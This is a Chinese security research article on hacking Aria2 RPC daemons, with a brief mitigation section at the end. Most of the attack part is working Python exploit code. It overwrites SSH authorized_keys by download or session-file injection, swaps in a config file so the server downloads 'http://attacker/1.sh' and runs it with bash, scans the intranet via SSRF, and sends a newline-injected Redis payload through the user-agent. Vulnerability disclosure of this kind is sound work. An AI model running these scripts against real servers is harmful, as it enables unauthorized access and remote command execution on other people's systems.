Author:ricterz
ABSTRACT
在未設置任何安全措施的情況下,Aria2 RPC Server 可以接受任何未知來源的請求指令,并予以下載。即使存在諸如--rpc-secret、--rpc-user、--rpc-passwd之類的安全措施,也可以通過社會工程學手段進行攻擊。通過 Aria2 RPC Server,可以進行 SSRF、Arbitrary File Write 等 Web 攻擊手法,獲取服務器權限。
1. INTERDUCTION
Aria2 是一個命令行下運行、多協議、多來源下載工具(HTTP/HTTPS、FTP、BitTorrent、Metalink),內建 XML-RPC 用戶界面。[1] Aria 提供 RPC Server,通過--enable-rpc參數啟動。Aria2 的 RPC Server 可以方便的添加、刪除下載項目。
2. ATTACK TECHNIQUES
2.1 Arbitary File Write
通過控制文件下載鏈接、文件儲存路徑以及文件名,可以實現任意文件寫入。同時通過 Aria2 提供的其他功能,諸如 save-session 等也能輕易地實現向任意文件寫入指定功能。
2.1.1 Bypass --auto-file-renaming and --allow-overwrite
根據 Aria2 RPC Server 的文檔 changeGlobalOption 方法支持修改部分全局設置參數。[2] 通過修改 allow-overwrite 參數即可實現繞過自動重命名,且可以直接覆蓋指定文件。
即使不修改 allow-overwrite,也可以通過其他方式,比如指定 session 文件路徑來覆蓋目標文件。
2.1.2 Overwrite .ssh/authorized_keys By Download File
在類 Unix 系統上,持有儲存在某用戶目錄下的 .ssh/authorized_keys 文件中的公鑰所對應的私鑰的用戶可以通過 ssh 直接遠程無密碼登陸此系統。[3] 如果攻擊者可以通過 Aria2 覆蓋 .ssh/authorized_keys 文件的話,那么攻擊者可以輕易地取得目標系統的權限。
s = PatchedServerProxy("http://victim:6800/rpc")
pprint(s.aria2.addUri(['http://attacker/pubkey.txt'], {'out': 'authorized_keys', 'dir': '/home/bangumi/.ssh/'}))
通過覆蓋 .ssh/authorized_keys,成功登陸到目標服務器。

2.1.3 Overwrite .ssh/authorized_keys By save-session
老版本 Aria2
Aria2 RPC Server 提供 save-session 選項,可以指定在 aria2c 關閉時保存當前下載文件的狀態;同時 Aria2 RPC Server 提供 user-agent 選項,可以指定下載文件的 UA。[2]
Aria2 session 格式為:
http://download-server/1.txt
gid=79e8977d817e750e
dir=/home/bangumi/.aria2/
out=1.txt
allow-overwrite=true
user-agent=aria2/1.21.1
Aria2 未處理 \n 換行符,可以精心構造 user-agent 來偽造 session 文件,不過這偏離討論范圍。由于 .ssh/authorized_keys 存在容錯性,所以可以設置 session 路徑為 .ssh/authorized_keys,注入攻擊者的 public key 來進行攻擊。
pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true", "user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.shutdown())
攻擊完成后 aria2 關閉,session 文件儲存在指定目錄。

新版本 Aria2
新版本的 Aria2 提供了 aria2.saveSession 方法,可以在避免關閉 aria2 的情況下儲存 session。
pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.saveSession())
2.1.3 Overwrite Aria2 Configuire File
Aria2 提供 --on-download-complete 選項,可以指定下載完成時需要運行的程序。[2] 調用程序的參數為:
hook.sh $1 $2 $3
hook.sh GID 文件編號 文件路徑
其中 GID 為 Aria2 自動生成的編號,文件編號通常為 1。--on-download-complete 選項傳入的 COMMAND 需要為帶有可執行權限的命令路徑。
為了執行命令,我們需要尋找一個可以執行第三個參數路徑所指向的文件的 COMMAND,不過不幸的是,Linux 下并沒有找到類似的 COMMAND。由于前兩個參數不可控,且未知,但是 GID 在 Aria2 添加任務的時候就已經返回,所以我們用一個比較取巧的方法執行命令。
首先下載惡意的 aria2 配置文件,并覆蓋原本的配置文件,等待 aria2 重新加載配置文件。然后下載一個大文件,得到 GID 后立即暫停,接著下載一個小文件,使得小文件保存的文件名為大文件的 GID,最后再開啟大文件的下載,即可執行任意命令。
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true"}))
pprint(s.aria2.getGlobalOption())
# pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/tmp', 'out': 'authorized_keys'}))
pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/home/bangumi/.aria2/', 'out': 'aria2.conf'}))
raw_input('waiting for restart ...')
r = str(s.aria2.addUri(['http://attacker/bigfile'], {'out': '1'}))
s.aria2.pause(r)
pprint(s.aria2.addUri(['http://attacker/1.sh'], {'out': r}))
s.aria2.unpause(r)
下載完成后,Aria2 將會執行如下命令:
/bin/bash GID 1 /path/to/file
由于 GID 我們已知,且存在名為 GID 的文件,調用時路徑基于當前目錄,所以可以成功執行。

2.2 SSRF
Scan Intranet HTTP Service 利用 Aria2 下載文件的特性,且對于下載的地址未限制,所以可以通過 Aria2 對于內網資源進行請求訪問。
def gen():
return ['http://172.16.98.%d/' % (i,) for i in range(0, 255)]
def main():
s = ServerProxy("http://victim/rpc")
t = [s.aria2.addUri([i], {'dir': '/tmp'}) for i in gen()]
pprint(s.aria2.changeGlobalOption({'max-concurrent-downloads': '50', 'connect-timeout': '3', 'timeout': '3'}))
pprint(s.aria2.getGlobalOption())
while 1:
for f in t:
pprint(s.aria2.getFiles(f))
利用如上代碼可對于內網資源進行掃描。

Attack Redis Server
Aria2 的 user-agent 未過濾 \n,可以通過換行來攻擊內網 Redis Server。[4]
payload = '''
CCONFIG SET DIR /root/.ssh
CCONFIG SET DBFILENAME authorized_keys
SSET 1 "\\n\\n\\nssh-rsa .... root@localhost\\n\\n"
SSAVE
QQUIT
'''
s = ServerProxy("http://victom/rpc")
s.aria2.changeGlobalOption({'user-agent': payload})
pprint(s.aria2.addUri(['http://127.0.0.1:6379/'], {'dir': '/tmp'}))
攻擊成功后,/root/.ssh/authorized_keys 被覆蓋,可通過 ssh 無密碼登陸。

3. MITIGATION TECHNIQUES
3.1 CLI OPTIONS
--rpc-listen-all:最好關閉此項功能--allow-overwrite:應當關閉此項功能--auto-file-renaming:應當開啟此項功能--rpc-secret:應當開啟此項功能
3.2 PERMISSIONS
- 通過 nobody 用戶運行 aria2c
REFERENCES
- Aria2 - Ubuntu中文. http://wiki.ubuntu.org.cn/Aria2
- aria2c(1) - aria2 1.29.0 documentation. https://aria2.github.io/manual/en/html/aria2c.html
- Secure Shell - Wikipedia. https://en.wikipedia.org/wiki/Secure_Shell
- 利用 gopher 協議拓展攻擊面. https://ricterz.me/posts/利用%20gopher%20協議拓展攻擊面
來源鏈接:https://ricterz.me/posts/Hacking%20Aria2%20RPC%20Daemon
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/120/
暫無評論